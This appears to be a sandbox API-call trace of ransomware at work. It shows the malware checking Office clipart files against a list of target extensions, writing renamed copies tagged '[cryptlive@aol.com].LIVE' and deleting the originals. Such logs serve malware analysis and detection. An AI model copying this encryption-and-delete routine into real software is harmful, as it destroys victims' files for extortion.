[0153.641] lstrlenW (lpString=".xls") returned 4 [0153.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.641] lstrlenW (lpString=".xlsx") returned 5 [0153.641] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.641] lstrlenW (lpString=".ppt") returned 4 [0153.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.641] lstrlenW (lpString=".zip") returned 4 [0153.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.641] lstrlenW (lpString=".rar") returned 4 [0153.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.641] lstrlenW (lpString=".bz2") returned 4 [0153.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.641] lstrlenW (lpString=".7z") returned 3 [0153.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.641] lstrlenW (lpString=".dbf") returned 4 [0153.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.641] lstrlenW (lpString=".1cd") returned 4 [0153.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0153.641] lstrlenW (lpString=".jpg") returned 4 [0153.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.642] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.642] lstrlenW (lpString="J0106020.WMF") returned 12 [0153.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.642] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10060) returned 1 [0153.642] CloseHandle (hObject=0x38c) returned 1 [0153.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 0x20 [0153.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.643] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.643] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0153.644] GetLastError () returned 0x0 [0153.644] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x274c, lpOverlapped=0x0) returned 1 [0153.656] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2750, lpOverlapped=0x0) returned 1 [0153.657] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.657] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.657] SetEndOfFile (hFile=0x1dc) returned 1 [0153.657] CloseHandle (hObject=0x1dc) returned 1 [0153.657] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.657] SetEndOfFile (hFile=0x38c) returned 1 [0153.661] CloseHandle (hObject=0x38c) returned 1 [0153.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0153.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.662] lstrlenW (lpString=".doc") returned 4 [0153.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.662] lstrlenW (lpString=".docx") returned 5 [0153.662] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.662] lstrlenW (lpString=".pdf") returned 4 [0153.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.662] lstrlenW (lpString=".xls") returned 4 [0153.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.662] lstrlenW (lpString=".xlsx") returned 5 [0153.662] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.662] lstrlenW (lpString=".ppt") returned 4 [0153.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.662] lstrlenW (lpString=".zip") returned 4 [0153.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.662] lstrlenW (lpString=".rar") returned 4 [0153.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.663] lstrlenW (lpString=".bz2") returned 4 [0153.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.663] lstrlenW (lpString=".7z") returned 3 [0153.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.663] lstrlenW (lpString=".dbf") returned 4 [0153.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.663] lstrlenW (lpString=".1cd") returned 4 [0153.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.663] lstrlenW (lpString=".jpg") returned 4 [0153.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.663] lstrlenW (lpString=".doc") returned 4 [0153.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.663] lstrlenW (lpString=".docx") returned 5 [0153.663] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.663] lstrlenW (lpString=".pdf") returned 4 [0153.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.663] lstrlenW (lpString=".xls") returned 4 [0153.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.663] lstrlenW (lpString=".xlsx") returned 5 [0153.663] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.663] lstrlenW (lpString=".ppt") returned 4 [0153.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.663] lstrlenW (lpString=".zip") returned 4 [0153.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.663] lstrlenW (lpString=".rar") returned 4 [0153.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.663] lstrlenW (lpString=".bz2") returned 4 [0153.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.663] lstrlenW (lpString=".7z") returned 3 [0153.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.664] lstrlenW (lpString=".dbf") returned 4 [0153.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.664] lstrlenW (lpString=".1cd") returned 4 [0153.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0153.664] lstrlenW (lpString=".jpg") returned 4 [0153.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.664] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.664] lstrlenW (lpString="J0106146.WMF") returned 12 [0153.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.664] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=23548) returned 1 [0153.665] CloseHandle (hObject=0x38c) returned 1 [0153.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 0x20 [0153.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.665] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.665] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0153.667] GetLastError () returned 0x0 [0153.667] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x5bfc, lpOverlapped=0x0) returned 1 [0153.677] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5c00, lpOverlapped=0x0) returned 1 [0153.678] ReadFile (in: hFile=0x38c, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.678] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.678] SetEndOfFile (hFile=0x1dc) returned 1 [0153.678] CloseHandle (hObject=0x1dc) returned 1 [0153.678] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.678] SetEndOfFile (hFile=0x38c) returned 1 [0153.680] CloseHandle (hObject=0x38c) returned 1 [0153.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0153.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.685] lstrlenW (lpString=".doc") returned 4 [0153.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.685] lstrlenW (lpString=".docx") returned 5 [0153.686] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.686] lstrlenW (lpString=".pdf") returned 4 [0153.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.686] lstrlenW (lpString=".xls") returned 4 [0153.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.686] lstrlenW (lpString=".xlsx") returned 5 [0153.686] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.686] lstrlenW (lpString=".ppt") returned 4 [0153.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.686] lstrlenW (lpString=".zip") returned 4 [0153.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.686] lstrlenW (lpString=".rar") returned 4 [0153.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.686] lstrlenW (lpString=".bz2") returned 4 [0153.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.686] lstrlenW (lpString=".7z") returned 3 [0153.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.687] lstrlenW (lpString=".dbf") returned 4 [0153.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.687] lstrlenW (lpString=".1cd") returned 4 [0153.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.687] lstrlenW (lpString=".jpg") returned 4 [0153.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.687] lstrlenW (lpString=".doc") returned 4 [0153.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.687] lstrlenW (lpString=".docx") returned 5 [0153.687] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.687] lstrlenW (lpString=".pdf") returned 4 [0153.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.687] lstrlenW (lpString=".xls") returned 4 [0153.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.687] lstrlenW (lpString=".xlsx") returned 5 [0153.687] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.687] lstrlenW (lpString=".ppt") returned 4 [0153.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.687] lstrlenW (lpString=".zip") returned 4 [0153.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.687] lstrlenW (lpString=".rar") returned 4 [0153.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.687] lstrlenW (lpString=".bz2") returned 4 [0153.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.687] lstrlenW (lpString=".7z") returned 3 [0153.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.687] lstrlenW (lpString=".dbf") returned 4 [0153.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.687] lstrlenW (lpString=".1cd") returned 4 [0153.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0153.688] lstrlenW (lpString=".jpg") returned 4 [0153.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.688] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.688] lstrlenW (lpString="J0106222.WMF") returned 12 [0153.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.688] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=19600) returned 1 [0153.688] CloseHandle (hObject=0x1e0) returned 1 [0153.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 0x20 [0153.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.689] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.689] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.690] GetLastError () returned 0x0 [0153.690] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x4c90, lpOverlapped=0x0) returned 1 [0153.692] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0153.693] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.694] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.694] SetEndOfFile (hFile=0x1f8) returned 1 [0153.694] CloseHandle (hObject=0x1f8) returned 1 [0153.694] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.694] SetEndOfFile (hFile=0x1e0) returned 1 [0153.696] CloseHandle (hObject=0x1e0) returned 1 [0153.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0153.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.698] lstrlenW (lpString=".doc") returned 4 [0153.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.698] lstrlenW (lpString=".docx") returned 5 [0153.698] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.698] lstrlenW (lpString=".pdf") returned 4 [0153.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.698] lstrlenW (lpString=".xls") returned 4 [0153.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.698] lstrlenW (lpString=".xlsx") returned 5 [0153.698] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.698] lstrlenW (lpString=".ppt") returned 4 [0153.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.698] lstrlenW (lpString=".zip") returned 4 [0153.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.698] lstrlenW (lpString=".rar") returned 4 [0153.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.698] lstrlenW (lpString=".bz2") returned 4 [0153.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.698] lstrlenW (lpString=".7z") returned 3 [0153.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.698] lstrlenW (lpString=".dbf") returned 4 [0153.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.698] lstrlenW (lpString=".1cd") returned 4 [0153.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.698] lstrlenW (lpString=".jpg") returned 4 [0153.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.698] lstrlenW (lpString=".doc") returned 4 [0153.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.698] lstrlenW (lpString=".docx") returned 5 [0153.698] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.699] lstrlenW (lpString=".pdf") returned 4 [0153.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.699] lstrlenW (lpString=".xls") returned 4 [0153.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.699] lstrlenW (lpString=".xlsx") returned 5 [0153.699] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.699] lstrlenW (lpString=".ppt") returned 4 [0153.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.699] lstrlenW (lpString=".zip") returned 4 [0153.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.699] lstrlenW (lpString=".rar") returned 4 [0153.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.699] lstrlenW (lpString=".bz2") returned 4 [0153.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") 